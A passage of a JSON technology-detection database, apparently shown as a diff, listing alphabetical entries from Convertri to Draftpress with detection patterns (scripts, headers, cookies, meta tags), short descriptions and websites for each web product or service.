"Convertri is a sales funnel building solution.", - "website": "https://www.convertri.com" - }, - "ConveyThis": { - "description": "ConveyThis is a website translation service.", - "website": "https://www.conveythis.com/" - }, - "Conviva": { - "js": [ - "conviva", - "conviva.client", - "conviva.client.version" - ], - "description": "Conviva is a census, continuous measurement and engagement platform for streaming media.", - "website": "https://www.conviva.com" - }, - "Cookie Information": { - "js": [ - "cookieinformation.config.cdnurl" - ], - "description": "Cookie Information is a privacy tech company that develops software that helps making company websites and mobile apps GDPR and ePrivacy compliant.", - "website": "https://cookieinformation.com" - }, - "Cookie Information plugin": { - "implies": [ - "Cookie Information" - ], - "description": "Cookie Information plugin helps your website stay compliant with GDPR using a free cookie pop-up, consent log, and more.", - "website": "https://wordpress.org/plugins/wp-gdpr-compliance" - }, - "Cookie Notice": { - "description": "Cookie Notice provides a simple, customizable website banner that can be used to help your website comply with certain cookie consent requirements under the EU GDPR cookie law and CCPA regulations and includes seamless integration with Cookie Compliance to help your site comply with the latest updates to existing consent laws.", - "website": "https://wordpress.org/plugins/cookie-notice" - }, - "Cookie Script": { - "description": "Cookie-Script automatically scans, categorizes and adds description to all cookies found on your website.", - "website": "https://cookie-script.com" - }, - "CookieFirst": { - "js": [ - "cookiefirst_show_settings" - ], - "description": "CookieFirst is an GDPR and CCPA compliant consent management platform.", - "website": "https://cookiefirst.com" - }, - "CookieHub": { - "website": "https://www.cookiehub.com" - }, - "CookieYes": { - "js": [ - "cookieyes" - ], - "website": "https://www.cookieyes.com/" - }, - "Cookiebot": { - "description": "Cookiebot is a cloud-driven solution that automatically controls cookies and trackers, enabling full GDPR/ePrivacy and CCPA compliance for websites.", - "website": "http://www.cookiebot.com" - }, - "Cooladata": { - "js": [ - "cooladata" - ], - "description": "Cooladata is a data warehouse and behavioral analytics platform designed for gaming, elearning, ecommerce, SaaS, and media companies.", - "website": "https://www.cooladata.com" - }, - "Coppermine": { - "html": [ - "\u003c!--coppermine photo gallery ([\\d.]+)\\;version:\\1" - ], - "implies": [ - "PHP" - ], - "description": "Coppermine is an open-source image gallery application.", - "website": "http://coppermine-gallery.net" - }, - "CopyPoison": { - "description": "Copypoison is a plagarism protection tool that protects content by replacing text with symbols that are visually similar.", - "website": "https://copypoison.com/" - }, - "CoreMedia Content Cloud": { - "meta": { - "coremedia_content_id": [], - "generator": [ - "^coremedia c(?:ontent cloud|ms)$" - ] - }, - "description": "CoreMedia Content Cloud is an agile content management and digital asset management platform.", - "website": "https://www.coremedia.com" - }, - "CoreUI": { - "js": [ - "coreui" - ], - "description": "CoreUI provides cloud hosting, web and mobile design, animations, wireframes, and UX testing services.", - "website": "https://coreui.io" - }, - "Corebine": { - "js": [ - "corebine" - ], - "description": "Corebine is a content management system designed for Sports", - "website": "https://corebine.com" - }, - "Correos": { - "description": "Correos is a state-owned company responsible for providing postal service in Spain.", - "website": "https://www.correos.es" - }, - "Correos Ecommerce": { - "js": [ - "comandia" - ], - "description": "Correos Ecommerce is an ecommerce platfrom from Spain.", - "website": "https://www.correosecommerce.com" - }, - "Cosmoshop": { - "website": "http://cosmoshop.de" - }, - "Cotonti": { - "meta": { - "generator": [ - "cotonti" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.cotonti.com" - }, - "CouchDB": { - "headers": { - "server": "couchdb/([\\d.]+)\\;version:\\1" - }, - "website": "http://couchdb.apache.org" - }, - "Countly": { - "js": [ - "countly" - ], - "website": "https://count.ly" - }, - "Coureon": { - "description": "Coureon is a digital logistics carrier for international shipping.", - "website": "https://www.coureon.com" - }, - "Coveo": { - "js": [ - "coveo" - ], - "description": "Coveo designs enterprise search and predictive insights platforms for businesses.", - "website": "https://www.coveo.com/" - }, - "CoverManager": { - "description": "CoverManager is a restaurant table booking widget.", - "website": "https://www.covermanager.com" - }, - "Covet.pics": { - "description": "Covet.pics is a customizable Shopify app for Instagram and Lookbook shoppable galleries.", - "website": "https://covet.pics" - }, - "Cowboy": { - "headers": { - "server": "^cowboy$" - }, - "implies": [ - "Erlang" - ], - "description": "Cowboy is a small, fast, modular HTTP server written in Erlang.", - "website": "https://github.com/ninenines/cowboy" - }, - "Cozy AntiTheft": { - "js": [ - "cozyecoadnsua" - ], - "implies": [ - "Shopify" - ], - "description": "Cozy AntiTheft helps you to protect your store content, images and texts from being stolen with a few simple clicks.", - "website": "https://apps.shopify.com/cozy-antitheft-for-images-and-more" - }, - "CppCMS": { - "headers": { - "x-powered-by": "^cppcms/([\\d.]+)$\\;version:\\1" - }, - "website": "http://cppcms.com" - }, - "Craft CMS": { - "cookies": { - "craftsessionid": "" - }, - "headers": { - "x-powered-by": "\\bcraft cms\\b" - }, - "implies": [ - "Yii" - ], - "description": "Craft CMS is a content management system for building bespoke websites.", - "website": "https://craftcms.com/" - }, - "Craft Commerce": { - "headers": { - "x-powered-by": "\\bcraft commerce\\b" - }, - "implies": [ - "Craft CMS" - ], - "website": "https://craftcommerce.com" - }, - "Cratejoy": { - "cookies": { - "cratejoy_muffin42": "", - "statjoy_metrics": "" - }, - "js": [ - "statjoyserver" - ], - "description": "Cratejoy is a brand new ecommerce platform with a focus on subscription payments.", - "website": "https://www.cratejoy.com" - }, - "Crazy Egg": { - "js": [ - "ce2" - ], - "website": "http://crazyegg.com" - }, - "CreateJS": { - "description": "CreateJS is a suite of modular libraries and tools which work together or independently to enable interactive content on open web technologies via HTML5.", - "website": "https://code.createjs.com" - }, - "Creativ.eMail": { - "description": "Creativ.eMail is a email editor WordPress plugin which simplifies email marketing campaign creation and pulls your WordPress blog posts, website images and WooCommerce products right into your email content.", - "website": "https://www.creativemail.com" - }, - "Crikle": { - "js": [ - "crikle.contactid", - "crikle.openconvertwidget" - ], - "description": "Crikle is a multichannel customer engagement software.", - "website": "https://www.crikle.com" - }, - "Crisp Live Chat": { - "js": [ - "$__crisp_included", - "$crisp", - "crisp_website_id" - ], - "description": "Crisp Live Chat is a live chat solution with free and paid options.", - "website": "https://crisp.chat/" - }, - "Criteo": { - "js": [ - "criteo_pubtag", - "criteo_q", - "criteo" - ], - "description": "Criteo provides personalised retargeting that works with Internet retailers to serve personalised online display advertisements to consumers who have previously visited the advertiser's website.", - "website": "http://criteo.com" - }, - "Crobox": { - "js": [ - "crobox" - ], - "website": "https://crobox.com/" - }, - "Crocoblock JetElements": { - "js": [ - "jetelements" - ], - "description": "Crocoblock JetElements is an addon for Elementor that adds additional customisation options to the page builder.", - "website": "https://crocoblock.com/plugins/jetelements" - }, - "Cross Pixel": { - "js": [ - "cp_c4w1ldn2d9pmvrkn" - ], - "description": "Cross Pixel is an advertising platform through which advertisers can leverage the marriage of partner audience synergies with the power of retargeting.", - "website": "http://crosspixel.net" - }, - "Cross Sell": { - "implies": [ - "Shopify", - "Cart Functionality" - ], - "description": "Cross Sell provide recommendations solution for Shopify based sites.", - "website": "https://csell.io/" - }, - "CrossBox": { - "headers": { - "server": "cbx-ws" - }, - "description": "CrossBox is a webmail client.", - "website": "https://crossbox.io" - }, - "CrownPeak": { - "js": [ - "crownpeakautocomplete", - "crownpeaksearch" - ], - "description": "CrownPeak is a cloud-based Digital Experience Management (DEM) platform that is designed to in the management of digital experiences across multiple touch-points, especially for marketing and a freer IT architecture.", - "website": "http://www.crownpeak.com" - }, - "Cryout Creations Bravada": { - "description": "Bravada is an unparalleled fullscreen WordPress theme created by Cryout Creations.", - "website": "https://www.cryoutcreations.eu/wordpress-themes/bravada" - }, - "Cryout Creations Fluida": { - "description": "Fluida is a modern, crystal clear and squeaky clean WordPress theme by Cryout Creations.", - "website": "https://www.cryoutcreations.eu/wordpress-themes/fluida" - }, - "Cryout Creations Mantra": { - "js": [ - "mantra_mobilemenu_init", - "mantra_onload", - "mantra_options" - ], - "description": "Mantra is a do-it-yourself WordPress theme, featuring a pack of over 100 customization option created by Cryout Creations.", - "website": "https://www.cryoutcreations.eu/wordpress-themes/mantra" - }, - "Cryout Creations Parabola": { - "js": [ - "parabola_settings", - "parabola_mobilemenu_init" - ], - "description": "Parabola is an fully responsive, clean and elegant design WordPress theme created by Cryout Creations.", - "website": "https://www.cryoutcreations.eu/wordpress-themes/parabola" - }, - "Crypto-Loot": { - "js": [ - "crlt.config.asmjs_name", - "cryptoloot" - ], - "description": "Crypto-Loot is a browser based web miner for the uPlexa Blockchain.", - "website": "https://crypto-loot.com/" - }, - "Crystallize": { - "js": [ - "__crystallizeconfig.api_url" - ], - "description": "Crystallize is an ecommerce platform that offers a headless ecommerce solution for businesses.", - "website": "https://crystallize.com" - }, - "CubeCart": { - "meta": { - "generator": [ - "cubecart" - ] - }, - "implies": [ - "PHP" - ], - "description": "CubeCart is a free ecommerce platform that businesses can use to build, manage, and market their online stores.", - "website": "http://www.cubecart.com" - }, - "Cubyn": { - "description": "Cubyn is B2B logistics company headquartered in France.", - "website": "https://www.cubyn.com" - }, - "Cufon": { - "js": [ - "cufon" - ], - "description": "Cufon is a tool used to overlap real text with an image.", - "website": "http://cufon.shoqolate.com" - }, - "Custom Fonts": { - "description": "Custom Fonts plugin helps you easily embed custom fonts files (woff2, woff, ttf, svg, eot, otf) easily in your WordPress website.", - "website": "https://github.com/brainstormforce/custom-fonts" - }, - "Customer.io": { - "description": "Customer.io is an automated messaging platform for marketers.", - "website": "https://customer.io/" - }, - "Customily": { - "js": [ - "customily.sticky" - ], - "description": "Customily is an online product personalisation software.", - "website": "https://www.customily.com" - }, - "Cwicly": { - "implies": [ - "Gutenberg" - ], - "description": "Cwicly is an advanced professional design and block toolkit that integrates directly with the WordPress editor.", - "website": "https://cwicly.com" - }, - "Cxense": { - "meta": { - "cxenseparse:itm-meta-keywords": [], - "cxenseparse:pageclass": [], - "cxenseparse:publishtime": [], - "cxenseparse:url": [] - }, - "description": "Cxense was an AI-powered data management and intelligent personalisation platform.", - "website": "https://www.cxense.com" - }, - "CyberChimps Responsive": { - "description": "CyberChimps Responsive is a modern, lightweight, fully customizable, fast and responsive WordPress theme.", - "website": "https://cyberchimps.com/responsive" - }, - "Cybersource": { - "description": "Cybersource is an ecommerce credit card payment system solution.", - "website": "https://www.cybersource.com/" - }, - "Czater": { - "js": [ - "$czater", - "$czatermethods" - ], - "description": "Czater is an live chat solution with extended CRM and videochat features.", - "website": "https://www.czater.pl" - }, - "D3": { - "js": [ - "d3.version" - ], - "description": "D3.js is a JavaScript library for producing dynamic, interactive data visualisations in web browsers.", - "website": "http://d3js.org" - }, - "DDoS-Guard": { - "headers": { - "server": "^ddos-guard$" - }, - "description": "DDoS-Guard is a Russian Internet infrastructure company which provides DDoS protection, content delivery network services, and web hosting services.", - "website": "https://ddos-guard.net" - }, - "DERAK.CLOUD": { - "cookies": { - "__derak_auth": "", - "__derak_user": "" - }, - "js": [ - "derakcloud.init" - ], - "headers": { - "derak-umbrage": "", - "server": "^derak\\.cloud$" - }, - "website": "https://derak.cloud" - }, - "DHL": { - "description": "DHL is an international courier, package delivery and express mail service, which is a division of the German logistics firm Deutsche Post.", - "website": "https://www.dhl.com" - }, - "DHTMLX": { - "js": [ - "dhtmldraganddropobject", - "dhtmlxtreeitemobject" - ], - "description": "DHTMLX specialises in building JavaScript UI libraries for project management, event planning, big data visualisation, and reporting.", - "website": "http://dhtmlx.com" - }, - "DM Polopoly": { - "implies": [ - "Java" - ], - "description": "DM Polopoly is a web content management solution focused on enhancing the user experience built by Atex.", - "website": "http://www.atex.com/products/dm-polopoly" - }, - "DNN": { - "cookies": { - "dotnetnukeanonymous": "" - }, - "js": [ - "dotnetnuke", - "dnn.apiversion" - ], - "headers": { - "cookie": "dnn_ismobile=", - "dnnoutputcache": "", - "x-compressed-by": "dotnetnuke" - }, - "html": [ - "\u003c!-- by dotnetnuke corporation", - "\u003c!-- dnn platform" - ], - "meta": { - "generator": [ - "dotnetnuke" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://www.dnnsoftware.com/" - }, - "DPD": { - "description": "DPD is an international parcel delivery service for sorter compatible parcels.", - "website": "https://www.dpd.com" - }, - "DPlayer": { - "js": [ - "dplayer", - "dplayer.version" - ], - "description": "DPlayer is an HTML 5 video player that supports pop-up.", - "website": "https://dplayer.js.org" - }, - "DTScout": { - "description": "DTScout is a marketing data intelligence software.", - "website": "https://www.dtscout.com" - }, - "DX": { - "description": "DX (also known as DX Freight) is a British mail, courier and logistics company.", - "website": "https://www.dxdelivery.com" - }, - "DX1": { - "js": [ - "dx1.dnn" - ], - "description": "DX1 is an entirely cloud-based dealership management system for the motorcycle and powersports industry. Offering DMS, website, CRM and marketing tools.", - "website": "https://www.dx1app.com" - }, - "Dachser": { - "description": "Dachser is a German freight company.", - "website": "https://www.dachser.com" - }, - "Daily Deals": { - "js": [ - "ddaddtocheckout", - "ddaddtoorder" - ], - "description": "Daily Deals is a flash sale, limited-time discounts, countdown timers, and sales analytics solution.", - "website": "https://dailydeals.ai" - }, - "DailyKarma": { - "js": [ - "dkwidgetinit", - "dk_widget" - ], - "description": "DailyKarma is a turnkey cause marketing solutions for ecommerce merchants.", - "website": "https://www.dailykarma.com" - }, - "Dailymotion": { - "meta": { - "name": [ - "dailymotion-domain-verification" - ] - }, - "description": "Dailymotion is a French video-sharing technology platform.", - "website": "https://www.dailymotion.com" - }, - "Dancer": { - "headers": { - "server": "perl dancer ([\\d.]+)\\;version:\\1", - "x-powered-by": "perl dancer ([\\d.]+)\\;version:\\1" - }, - "implies": [ - "Perl" - ], - "description": "Mono.net delivers the a Software-as-a-Service (SaaS) platform to build and sell websites and other digital products.", - "website": "http://perldancer.org" - }, - "Danneo CMS": { - "headers": { - "x-powered-by": "cms danneo ([\\d.]+)\\;version:\\1" - }, - "meta": { - "generator": [ - "danneo cms ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Apache HTTP Server", - "PHP" - ], - "website": "http://danneo.com" - }, - "Daphne": { - "headers": { - "server": "daphne" - }, - "implies": [ - "TwistedWeb", - "Python", - "Zope" - ], - "website": "https://github.com/django/daphne" - }, - "Darkmode.js": { - "js": [ - "darkmode" - ], - "description": "Darkmode.js is a JavaScript library that enables an HTML element to switch between CSS themes.", - "website": "https://github.com/sandoche/Darkmode.js" - }, - "Dart": { - "js": [ - "$__dart_deferred_initializers__", - "___dart__$dart_dartobject_zxyxx_0_", - "___dart_dispatch_record_zxyxx_0_" - ], - "description": "Dart is an open-source, general-purpose, object-oriented programming language developed by Google.", - "website": "https://dart.dev" - }, - "Darwin": { - "headers": { - "server": "darwin", - "x-powered-by": "darwin" - }, - "description": "Darwin is the open-source operating system from Apple that forms the basis for macOS.", - "website": "https://opensource.apple.com" - }, - "DataLife Engine": { - "js": [ - "dle_root" - ], - "meta": { - "generator": [ - "datalife engine" - ] - }, - "implies": [ - "PHP", - "Apache HTTP Server" - ], - "website": "https://dle-news.ru" - }, - "DataMilk": { - "js": [ - "datamilkmagicaiexecuted" - ], - "description": "DataMilk is an AI tool which autonomously optimises customer UI for ecommerce customers in order to increase conversions.", - "website": "https://www.datamilk.ai" - }, - "DataTables": { - "js": [ - "$.fn.datatable.version", - "jquery.fn.datatable.version" - ], - "implies": [ - "jQuery" - ], - "description": "DataTables is a plug-in for the jQuery Javascript library adding advanced features like pagination, instant search, themes, and more to any HTML table.", - "website": "http://datatables.net" - }, - "Datadog": { - "js": [ - "dd_logs", - "dd_rum" - ], - "description": "Datadog is a SaaS-based monitoring and analytics platform for large-scale applications and infrastructure.", - "website": "https://www.datadoghq.com" - }, - "Datadome": { - "cookies": { - "datadome": "", - "datadome-_zldp": "", - "datadome-_zldt": "" - }, - "headers": { - "server": "^datadome$", - "x-datadome": "", - "x-datadome-cid": "" - }, - "website": "https://datadome.co/" - }, - "DatoCMS": { - "headers": { - "content-security-policy": "\\.datocms-assets\\.com" - }, - "description": "DatoCMS is a cloud-based headless Content as a service (CaaS) platform created to work with static websites, mobile apps and server-side applications of any kind.", - "website": "https://www.datocms.com" - }, - "Day.js": { - "js": [ - "dayjs" - ], - "website": "https://github.com/iamkun/dayjs" - }, - "Dealer Spike": { - "description": "Dealer Spike is a digital marketing and advertising company focused that helps dealers grow their business.", - "website": "https://www.dealerspike.com" - }, - "Debian": { - "headers": { - "server": "debian", - "x-powered-by": "(?:debian|dotdeb|(potato|woody|sarge|etch|lenny|squeeze|wheezy|jessie|stretch|buster|sid))\\;version:\\1" - }, - "description": "Debian is a Linux software which is a free open-source software.", - "website": "https://debian.org" - }, - "Decibel": { - "js": [ - "decibelinsight", - "decibelinsightlayer" - ], - "description": "Decibel is a behavioral analysis solution that helps users gain actionable insights about their digital audience.", - "website": "https://decibel.com" - }, - "DedeCMS": { - "js": [ - "dedecontainer" - ], - "implies": [ - "PHP" - ], - "website": "http://dedecms.com" - }, - "Delacon": { - "js": [ - "delaconphonenums", - "dela_247_call" - ], - "description": "Delacon provides Australian businesses with Call Tracking, Call Management and Speech Analytics solutions.", - "website": "https://www.delacon.com.au" - }, - "Delivengo": { - "description": "Delivengo is an international shipping service powered by La Poste.", - "website": "https://mydelivengo.laposte.fr/" - }, - "Deliverr": { - "js": [ - "deliverrscript" - ], - "implies": [ - "Cart Functionality" - ], - "description": "Deliverr is a fulfilment service that facilitates shipping services for ecommerce businesses.", - "website": "https://deliverr.com" - }, - "Demandbase": { - "js": [ - "demandbase", - "demandbase.version" - ], - "description": "Demandbase is a targeting and personalization platform for business-to-business companies.", - "website": "https://www.demandbase.com" - }, - "Deno": { - "description": "A modern runtime for JavaScript and TypeScript.", - "website": "https://deno.land" - }, - "Deno Deploy": { - "headers": { - "server": "^deno/*" - }, - "implies": [ - "Deno" - ], - "description": "Deno Deploy is a distributed system that runs JavaScript, TypeScript, and WebAssembly at the edge, worldwide.", - "website": "https://deno.land/" - }, - "Depict": { - "description": "Depict is an ecommerce personalisation solution for fashion.", - "website": "https://depict.ai" - }, - "DeskPro": { - "meta": { - "generator": [ - "^deskpro.+$" - ] - }, - "description": "DeskPro is multi channel helpdesk software for managing customer and citizen requests via email, forms, chat, social and voice.", - "website": "https://www.deskpro.com" - }, - "DeskPro Chat": { - "js": [ - "deskpro_widget_options.chat" - ], - "description": "DeskPro is multi channel helpdesk software for managing customer and citizen requests via email, forms, chat, social and voice.", - "website": "https://www.deskpro.com/product/chat" - }, - "Deta": { - "headers": { - "server": "^deta$" - }, - "description": "Deta is a cloud platform for building and deploying apps.", - "website": "https://deta.sh" - }, - "Detectify": { - "description": "Detectify is an automated scanner that checks your web application for vulnerabilities.", - "website": "https://detectify.com/" - }, - "Deutsche Post": { - "description": "Deutsche Post is a German multinational package delivery and supply chain management company in Germany.", - "website": "https://www.deutschepost.de" - }, - "DiamondCDN": { - "headers": { - "server": "^diamondcdn$" - }, - "description": "DiamondCDN is a CDN with DDoS mitigation for free.", - "website": "https://diamondcdn.com" - }, - "Dianomi": { - "description": "Dianomi is an advertiser campaign management software for financial services, premium lifestyle, technology and corporate sectors.", - "website": "https://www.dianomi.com" - }, - "Didomi": { - "description": "Didomi is a consent management platform helping brands and businesses collect, store and leverage their customer consents.", - "website": "https://www.didomi.io/en/consent-preference-management" - }, - "Digest": { - "headers": { - "www-authenticate": "^digest" - }, - "description": "Digest is an authentication method based on a MD5 hash used by web servers.", - "website": "https://tools.ietf.org/html/rfc7616" - }, - "DigiCert": { - "website": "https://www.digicert.com/" - }, - "Digismoothie Candy Rack": { - "js": [ - "candyrack_document_listener", - "candyrackenabledebug" - ], - "implies": [ - "Shopify" - ], - "description": "Digismoothie Candy Rack is an upsell app for Shopify which allow merchants to offer custom services or bundle products.", - "website": "https://www.digismoothie.com/apps/candy-rack" - }, - "Digistore24": { - "js": [ - "digistore_link_id_key", - "digistore_vendorkey", - "getthesourcefordigistorelinks" - ], - "description": "Digistore24 is a German digital reselling and affiliate marketing platform.", - "website": "https://www.digistore24.com" - }, - "Digital Showroom": { - "description": "Digital Showroom is an ecommerce platform.", - "website": "https://digitalshowroom.in" - }, - "DigitalOcean Spaces": { - "description": "DigitalOcean Spaces is a cloud-based object storage service provided by DigitalOcean, a cloud infrastructure provider. It allows users to store and retrieve large amounts of data, such as images, videos, audio files, backups, and logs, using a simple RESTful API or a web-based graphical user interface (GUI).", - "website": "https://www.digitalocean.com/products/spaces" - }, - "DigitalRiver": { - "cookies": { - "x-dr-shopper-ets": "", - "x-dr-theme": "^\\d+$" - }, - "js": [ - "digitalriver" - ], - "description": "Digital River provides global ecommerce, payments and marketing services.", - "website": "https://www.digitalriver.com" - }, - "DirectAdmin": { - "headers": { - "server": "directadmin daemon v([\\d.]+)\\;version:\\1" - }, - "html": [ - "\u003ca[^\u003e]+\u003edirectadmin\u003c/a\u003e web control panel" - ], - "implies": [ - "PHP", - "Apache HTTP Server" - ], - "description": "DirectAdmin is a graphical web-based web hosting control panel designed to make administration of websites easier.", - "website": "https://www.directadmin.com" - }, - "Directus": { - "headers": { - "x-powered-by": "^directus$" - }, - "implies": [ - "Vue.js", - "TinyMCE", - "core-js" - ], - "description": "Directus is a free and open-source headless CMS framework for managing custom SQL-based databases.", - "website": "https://directus.io" - }, - "Discourse": { - "js": [ - "discourse" - ], - "meta": { - "generator": [ - "discourse(?: ?/?([\\d.]+\\d))?\\;version:\\1" - ] - }, - "implies": [ - "Ruby on Rails" - ], - "description": "Discourse is an open-source internet forum and mailing list management software application.", - "website": "https://discourse.org" - }, - "Discuz! X": { - "js": [ - "discuzcode", - "discuzversion", - "discuz_uid" - ], - "meta": { - "generator": [ - "discuz! x([\\d\\.]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Discuz! X is an internet forum software written in PHP and supports MySQL and PostgreSQL databases.", - "website": "http://www.discuz.net" - }, - "Disqus": { - "js": [ - "disqus_shortname", - "disqus_url", - "disqus" - ], - "description": "Disqus is a worldwide blog comment hosting service for web sites and online communities that use a networked platform.", - "website": "https://disqus.com" - }, - "Distributor": { - "headers": { - "x-distributor": "yes" - }, - "description": "Distributor is a WordPress plugin that helps distribute and reuse content across your websites.", - "website": "https://distributorplugin.com" - }, - "District M": { - "description": "District M is a programmatic advertising exchange.", - "website": "https://districtm.net" - }, - "Dito": { - "js": [ - "dito.appsettings" - ], - "description": "Dito is a tool that centralizes and manages the relationship between brands and their customers.", - "website": "https://www.dito.com.br" - }, - "Divi": { - "js": [ - "divi" - ], - "meta": { - "generator": [ - "divi(?:\\sv\\.([\\d\\.]+))?\\;version:\\1" - ] - }, - "description": "Divi is a WordPress Theme and standalone WordPress plugin from Elegant themes that allows users to build websites using the visual drag-and-drop Divi page builder.", - "website": "https://www.elegantthemes.com/gallery/divi" - }, - "DivideBuy": { - "js": [ - "display_dividebuy_modal" - ], - "description": "Dividebuy provides retailer financing solutions.", - "website": "https://dividebuy.co.uk/" - }, - "Divido": { - "description": "Divio is a Buy now pay later solution. Divido provided whitelabel platform connects lenders, retailers and channel partners at the point of sale", - "website": "https://www.divido.com/" - }, - "Django": { - "cookies": { - "django_language": "" - }, - "js": [ - "__admin_media_prefix__", - "django" - ], - "html": [ - "(?:powered by \u003ca[^\u003e]+\u003edjango ?([\\d.]+)?\u003c\\/a\u003e|\u003cinput[^\u003e]*name=[\"']csrfmiddlewaretoken[\"'][^\u003e]*\u003e)\\;version:\\1" - ], - "implies": [ - "Python" - ], - "description": "Django is a Python-based free and open-source web application framework.", - "website": "https://djangoproject.com" - }, - "Django CMS": { - "implies": [ - "Python", - "Django", - "PostgreSQL" - ], - "description": "Django CMS is a free and open source content management system platform for publishing content on the World Wide Web and intranets.", - "website": "https://www.django-cms.org" - }, - "DocFX": { - "meta": { - "docfx:navrel": [ - "toc.html" - ], - "docfx:tocrel": [ - "toc.html" - ], - "generator": [ - "docfx\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "DocFX is a tool for building and publishing API documentation for .NET projects.", - "website": "https://github.com/dotnet/docfx" - }, - "Docker": { - "html": [ - "\u003c!-- this comment is expected by the docker healthcheck --\u003e" - ], - "description": "Docker is a tool designed to make it easier to create, deploy, and run applications by using containers.", - "website": "https://www.docker.com/" - }, - "DocuSign": { - "description": "DocuSign allows organisations to manage electronic agreements.", - "website": "https://www.docusign.com" - }, - "Docusaurus": { - "js": [ - "__docusaurus_insert_baseurl_banner", - "docusaurus", - "search.indexname" - ], - "meta": { - "docusaurus_locale": [], - "docusaurus_tag": [], - "generator": [ - "^docusaurus(?: v(.+))?$\\;version:\\1" - ] - }, - "implies": [ - "React", - "Webpack" - ], - "description": "Docusaurus is a tool for teams to publish documentation websites.", - "website": "https://docusaurus.io/" - }, - "Dojo": { - "js": [ - "dojo", - "dojo.version.major" - ], - "website": "https://dojotoolkit.org" - }, - "Dokan": { - "js": [ - "dokan" - ], - "description": "Dokan offers a multi-vendor marketplace solution built on top of wordpress and woocommerce.", - "website": "https://wedevs.com/dokan" - }, - "Dokeos": { - "headers": { - "x-powered-by": "dokeos" - }, - "html": [ - "(?:portal \u003ca[^\u003e]+\u003edokeos|@import \"[^\"]+dokeos_blue)" - ], - "meta": { - "generator": [ - "dokeos" - ] - }, - "implies": [ - "PHP", - "Xajax", - "jQuery", - "CKEditor" - ], - "description": "Dokeos is an e-learning and course management web application.", - "website": "https://dokeos.com" - }, - "DokuWiki": { - "cookies": { - "dokuwiki": "" - }, - "js": [ - "doku_tpl", - "doku_edit_text_content" - ], - "meta": { - "generator": [ - "^dokuwiki( release [\\d-]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "DokuWiki is a free open-source wiki software.", - "website": "https://www.dokuwiki.org" - }, - "DomainFactory": { - "description": "DomainFactory has been operating as a web hosting company. It is owned by GoDaddy and targets businesses in Austria and Germany.", - "website": "https://www.df.eu" - }, - "Dominate WooCommerce": { - "description": "Dominate WooCommerce is a cloud-based checkout-page which supports PayPal Smart buttons for Venmo, PayPal Credit, and other payment methods.", - "website": "https://www.dominate.co/woocommerce" - }, - "DonorPerfect": { - "description": "DonorPerfect is a fundraising management software.", - "website": "https://www.donorperfect.com" - }, - "Donorbox": { - "js": [ - "donorbox", - "donorbox_check_donation_period", - "donorbox" - ], - "description": "Donorbox is a US-based technology company. It offers an online fundraising software that allows individuals and nonprofit organisations to receive donations over the Internet.", - "website": "https://donorbox.org" - }, - "Doofinder": { - "js": [ - "doofinder.classic.version" - ], - "description": "Doofinder is a search site solution that enables users to include advanced and smart search engine capabilities in their ecommerce website.", - "website": "https://www.doofinder.com" - }, - "Doppler": { - "description": "Doppler is an email marketing and transactional email service.", - "website": "https://www.fromdoppler.com" - }, - "Doppler Forms": { - "implies": [ - "Doppler" - ], - "description": "The Doppler Forms plugin allows you to create fully customised subscription forms that you can add to your website or blog.", - "website": "https://wordpress.org/plugins/doppler-form/" - }, - "Doppler for WooCommerce": { - "implies": [ - "Doppler" - ], - "description": "The Doppler for WooCommerce plugin adds submit your WooCommerce customers and buyers to a Doppler List.", - "website": "https://wordpress.org/plugins/doppler-for-woocommerce/" - }, - "Dotclear": { - "headers": { - "x-dotclear-static-cache": "" - }, - "implies": [ - "PHP" - ], - "website": "http://dotclear.org" - }, - "Dotdigital": { - "js": [ - "dmtrackingobjectname", - "dmpt", - "dm_insight_id" - ], - "description": "Dotdigital is an all-in-one cloud-based customer engagement multichannel marketing platform.", - "website": "https://dotdigital.com" - }, - "Dotdigital Chat": { - "js": [ - "_ddgchatconfig.urlbase" - ], - "implies": [ - "Dotdigital" - ], - "description": "Dotdigital Chat is a smart, customisable widget that makes it easy for shoppers to communicate in real-time with members of your team.", - "website": "https://dotdigital.com" - }, - "Doteasy": { - "description": "Doteasy is a web hosting company that provides web hosting services, domain registration, and other related services for businesses and individuals. The company was founded in 2000 and is based in Vancouver, Canada.", - "website": "https://www.doteasy.com" - }, - "Doteasy Website Builder": { - "js": [ - "fsdata.fs" - ], - "implies": [ - "Doteasy" - ], - "description": "Doteasy Website Builder is a tool provided by Doteasy, a web hosting company that enables users to create and personalise their own websites without necessitating any technical knowledge or expertise in website design.", - "website": "https://www.doteasy.com/website-builder/" - }, - "DoubleClick Ad Exchange (AdX)": { - "description": "DoubleClick Ad Exchange is a real-time marketplace to buy and sell display advertising space.", - "website": "http://www.doubleclickbygoogle.com/solutions/digital-marketing/ad-exchange/" - }, - "DoubleClick Campaign Manager (DCM)": { - "website": "http://www.doubleclickbygoogle.com/solutions/digital-marketing/campaign-manager/" - }, - "DoubleClick Floodlight": { - "website": "http://support.google.com/ds/answer/6029713?hl=en" - }, - "DoubleClick for Publishers (DFP)": { - "description": "DoubleClick for Publishers (DFP) is a hosted ad serving platform that streamlines your ad management.", - "website": "http://www.google.com/dfp" - }, - "DoubleVerify": { - "description": "DoubleVerify is a software platform for digital media measurement, data, and analytics.", - "website": "https://doubleverify.com" - }, - "Dovetale": { - "js": [ - "dovetale" - ], - "description": "Dovetale (Acquired by Shopify) helps e-commerce stores recruit, manage, \u0026 grow their sales with communities of people who love their products.", - "website": "https://dovetale.com/" - }, - "Download Monitor": { - "js": [ - "dlm_xhr_download", - "dlmxhr.prevent_duplicates" - ], - "meta": { - "dlm-version": [ - "^([\\d\\.]+)$\\;version:\\1" - ] - }, - "description": "Download Monitor is a plugin for selling, uploading and managing downloads, tracking downloads and displaying links.", - "website": "https://www.download-monitor.com" - }, - "Doxygen": { - "html": [ - "(?:\u003c!-- generated by doxygen ([\\d.]+)|\u003clink[^\u003e]+doxygen\\.css)\\;version:\\1" - ], - "meta": { - "generator": [ - "doxygen ([\\d.]+)\\;version:\\1" - ] - }, - "description": "Doxygen is a documentation generator, a tool for writing software reference documentation.", - "website": "http://www.doxygen.nl/" - }, - "Draft.js": { - "description": "Draft.js is a JavaScript rich text editor framework, built for React.", - "website": "https://draftjs.org/" - }, - "Draftpress HFCM": { - 